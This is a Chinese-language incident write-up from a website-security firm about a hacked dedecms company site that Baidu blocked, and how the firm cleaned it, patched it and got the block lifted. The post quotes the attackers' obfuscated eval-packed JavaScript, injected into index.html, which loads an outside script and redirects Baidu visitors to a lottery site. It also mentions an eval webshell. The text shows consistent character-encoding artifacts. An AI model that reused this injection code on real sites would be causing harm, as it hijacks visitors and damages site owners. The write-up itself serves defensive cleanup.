怎么關(guān)閉百度安全中心提示 解除網(wǎng)站的攔截

時間：2020-03-17作者：青島四海通達(dá)電子科技有限公司瀏覽：1042

臨近2019年底，客戶的公司網(wǎng)站被百度網(wǎng)址安全中心攔截了，公司網(wǎng)站徹底打不開了，影響范圍很大，于是通過朋友介紹找到我們SINE安全公司尋求幫忙解封，關(guān)于如何解除百度的安全攔截提示，下面就將我們SINE安全的解決辦法分享給大家，希望能對您有所幫助。

事件回憶:12月初，客戶剛從公司下班回家，接到**的電話說是網(wǎng)站在百度怎么打不開了，客戶**時間用手機(jī)訪問網(wǎng)站，發(fā)現(xiàn)網(wǎng)站正常，隨后又用百度去搜索公司網(wǎng)站域名，發(fā)現(xiàn)網(wǎng)站竟然被百度網(wǎng)址安全中心攔截了并提示：違法違規(guī)網(wǎng)頁，建議關(guān)閉,您訪問的是：//公司域名，此網(wǎng)頁可能為違法違規(guī)網(wǎng)頁，包含非法信息以及不健康內(nèi)容，請謹(jǐn)慎訪問。如下圖所示：

整個客戶公司的網(wǎng)站在百度無法打開，徹底的被百度攔截掉了，百度提示的肯定是有原因的，我們SINE安全工程師通過百度搜索發(fā)現(xiàn)，網(wǎng)站在搜索結(jié)果里被標(biāo)注了：

百度網(wǎng)址安全中心提醒您：該站點(diǎn)可能受到黑客攻擊，部分頁面已被非法篡改！下圖所示：

點(diǎn)擊去后，彈出百度的攔截頁面，提示：該站點(diǎn)可能由于受到黑客攻擊，部分頁面已被非法篡改，可能會威脅到您的財(cái)產(chǎn)和信息安全，建議您謹(jǐn)慎訪問。我們處理了太多像這種情況的網(wǎng)站了，我們打開百度網(wǎng)址安全中/掃描看一下是什么原因?qū)е戮W(wǎng)站被百度攔截，輸入客戶公司網(wǎng)址點(diǎn)查詢，發(fā)現(xiàn)網(wǎng)站被標(biāo)記危險(xiǎn)，并提示：危險(xiǎn)，網(wǎng)站網(wǎng)頁中含有惡意信息！

這說明網(wǎng)站里含有惡意內(nèi)容的信息被百度檢測到了，但是百度并沒有指出到底是哪個網(wǎng)站頁面存在惡意信息，看到百度旗下還有個百度云觀測的產(chǎn)品，注冊免費(fèi)使用，檢測網(wǎng)站的安全情況，沒有檢測到網(wǎng)站出現(xiàn)安全問題。到底含有惡意內(nèi)容的信息在哪里？該怎么查找，根據(jù)我們SINE安全多年的經(jīng)驗(yàn)，通過百度的工具以及發(fā)送郵件，申訴等通道是獲取不到具體的惡意信息鏈接，百度只是官方的回復(fù)一下，具體問題的根源在哪里，得自己動手去查找代碼，以及公司網(wǎng)站在百度的收錄情況。

發(fā)現(xiàn)了問題，客戶公司網(wǎng)站在百度的快照內(nèi)容被篡改了，是一些彩piao內(nèi)容，既然已經(jīng)知道網(wǎng)站里含有惡意信息。那就從網(wǎng)站代碼開始入手，客戶網(wǎng)站使用的是開源的dedecms織夢系統(tǒng)，php+mysql數(shù)據(jù)庫，從服務(wù)器壓縮了一份，下載到本地的電腦，開始檢查源代碼，每一行，每一個代碼都不要放過，對比客戶之前網(wǎng)站備份代碼，發(fā)現(xiàn)plus下的search.php被篡改了，多出來一些eval一句話木馬代碼，也叫webshell.

客戶的網(wǎng)站首頁文件index.html也被篡改添加了代碼，尤其標(biāo)題描述都被篡改了，從百度里搜索點(diǎn)擊到客戶公司網(wǎng)站，自動跳轉(zhuǎn)到了彩piao網(wǎng)站上去了。這跟index.html被篡改是對應(yīng)的，我們SINE安全貼出代碼讓大家看一下：

<script type="text/javascript">eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(par

seInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,St

ring)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=

1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('l["\\k\\a\\1\

\m\\9\\7\\o\\0"]["\\n\\4\\8\\0\\7"](\'\\e\\2\\1\\4\\8\\5\\0\\0\\i\\5\\7\\c\\6\\0\\7\\j\\0\\3\\f\\b\\u\\b\\2\

\1\\4\\8\\5\\0\\6 \\2\\4\\1\\c\\6\\t\\0\\0\\5\\w\\3\\3\\v\\q\\p\\s\\r\\h\\1\\a\\9\\3\\g\\g\\h\\f\\2\\6\\d\\

e\\3\\2\\1\\4\\8\\5\\0\\d\');',33,33,'x74|x63|x73|x2f|x72|x70|x22|x65|x69|x6d|x6f|x61|x3d|x3e|

x3c|x6a|x31|x2e|x79|x78|x64|window|x75|x77|x6e|x38|x37|x71|x7a|x68|x76|

x35|x3a'.split('|'),0,{}))</script>

這種掛馬代碼功能是：對百度來的點(diǎn)擊，進(jìn)行判斷并跳轉(zhuǎn)到攻擊者設(shè)定的域名，如果是直接輸入網(wǎng)站域名是不會跳轉(zhuǎn)。如果對代碼不是太懂的話，根本無法理解這段代碼的意思。問題找到了，那就開始著手處理，刪除首頁的惡意代碼，恢復(fù)網(wǎng)站的正常訪問，刪除攻擊者留下的webshell網(wǎng)站木馬后門文件，并對客戶網(wǎng)站代碼進(jìn)行全面的網(wǎng)站安全檢測，包括網(wǎng)站漏洞檢測，發(fā)現(xiàn)客戶使用的是早期版本的dedecms，存在遠(yuǎn)程代碼執(zhí)行漏洞，可以上傳任意文件的文件上傳漏洞。我們SINE安全對其代碼做了漏洞修復(fù)，對上傳做了后綴名的安全過濾與限制，對文件上傳的目錄做了安全部署，防止PHP腳本文件的執(zhí)行與寫入。對網(wǎng)站進(jìn)行了整體的安全加固與防護(hù)，防止攻擊者繼續(xù)篡改網(wǎng)站，有些客戶網(wǎng)站以為只是刪除首頁那部分惡意代碼就能解決問題，大錯特錯，問題的根源不是刪除，而是網(wǎng)站存在漏洞，只是刪除惡意代碼其實(shí)就是亡羊補(bǔ)牢，要從根源入手，修復(fù)網(wǎng)站的漏洞。才能徹底的解決百度的攔截問題，百度會定期對網(wǎng)站進(jìn)行安全監(jiān)控，如果多次出現(xiàn)被篡改的情況，會直接將您網(wǎng)站拉入黑名單，長時間的對網(wǎng)站進(jìn)行攔截。

至此客戶網(wǎng)站才得以安全，徹底的刪除了惡意信息跟惡意的代碼，通過百度網(wǎng)址安全中心的在線提交申訴，等待百度的人工審核，在申訴后的第三天，收到了百度網(wǎng)址安全中心的回復(fù)，百度網(wǎng)址安全技術(shù)人員答復(fù)如下：你好，對于//公司網(wǎng)站域名的檢測結(jié)果為：通過審核，到此網(wǎng)站被百度網(wǎng)址安全中心的攔截，徹底解封，客戶公司網(wǎng)站恢復(fù)正常訪問，我們將損失給客戶降到了較低，將客戶的事當(dāng)成自己的事來做，我們的路才能走的較寬。


青島四海通達(dá)電子科技有限公司專注于服務(wù)器安全,網(wǎng)絡(luò)安全公司,網(wǎng)站安全防護(hù),網(wǎng)站漏洞檢測,滲透測試,網(wǎng)站安全,網(wǎng)站漏洞掃描,網(wǎng)站安全檢測等, 歡迎致電 13280888826

• 詞條

  詞條說明

• 網(wǎng)站安全公司進(jìn)行滲透測試cms代碼的漏洞分析

  客戶網(wǎng)站**時間被攻擊，網(wǎng)站被劫持到了賭bo網(wǎng)站上去，通過朋友介紹找到我們SINESAFE做網(wǎng)站的安全防護(hù)，我們隨即對客戶網(wǎng)站進(jìn)行了全面的滲透測試，包括了網(wǎng)站的漏洞檢測與代碼安全測試，針對于發(fā)現(xiàn)的漏洞進(jìn)行了修復(fù)，包括網(wǎng)站安全部署等等方面，下面我們將這一次的安全應(yīng)急處理過程分享給有需要的客戶。首先客戶網(wǎng)站采用的架構(gòu)是PHP語言開發(fā)，mysql數(shù)據(jù)庫，使用的是linux centos系統(tǒng)作為網(wǎng)站的運(yùn)行

• 什么是安全漏洞掃描？

  安全性漏洞漏洞是在硬件配置、手機(jī)軟件、協(xié)議書的主要完成或系統(tǒng)軟件安全設(shè)置上具有的缺點(diǎn)，進(jìn)而可以使攻擊者可以在未認(rèn)證的情形下瀏覽或毀壞系統(tǒng)軟件。是受到限制的電子計(jì)算機(jī)、部件、應(yīng)用軟件或別的聯(lián)網(wǎng)資源的不經(jīng)意中留下來的不會受到維護(hù)的通道點(diǎn)。安全性漏洞有很多種多樣歸類方法，依照漏洞寄主不一樣，可以分成三大類：第一類是因?yàn)殡娔X操作系統(tǒng)自身設(shè)計(jì)方案缺點(diǎn)產(chǎn)生的安全性漏洞，這類漏洞將被運(yùn)作在該系統(tǒng)軟件上的應(yīng)用軟件

• 網(wǎng)站安全從業(yè)者 滲透測試經(jīng)驗(yàn)暢談

  這幾天在2020RSAC安全行業(yè)盛會上聽了一名滲透大佬的經(jīng)驗(yàn)分享，感覺得益匪淺。一、滲透測試服務(wù)中的常見問題1、對客戶網(wǎng)站系統(tǒng)，之前在其他幾家安全公司做過滲透測試服務(wù)，那么我們接手的話要如何進(jìn)行？深入深入分析客戶程序，認(rèn)真細(xì)致發(fā)現(xiàn)程序*、深層次漏洞。2、如果客戶的程序，部署了環(huán)境waf*墻服務(wù)，我們要如何進(jìn)行？還可以繞過web*墻采取滲透測試，比如還可以通過內(nèi)部局域網(wǎng)的技術(shù)手段去測試等?？?/p>

• 滲透的概念與類型

  ? ? ? ?隨著互聯(lián)網(wǎng)的不斷發(fā)展，越來越多的軟件開發(fā)程序員也在學(xué)習(xí)軟件領(lǐng)域的技術(shù)知識。今天，我們將通過案例分析了解滲透的概念和類型。 ? ? ? ?一、滲透概念 ? ? ? ?滲透(penetrationtesting,pentest)是實(shí)施安全評估(即審計(jì))的具體手段。 是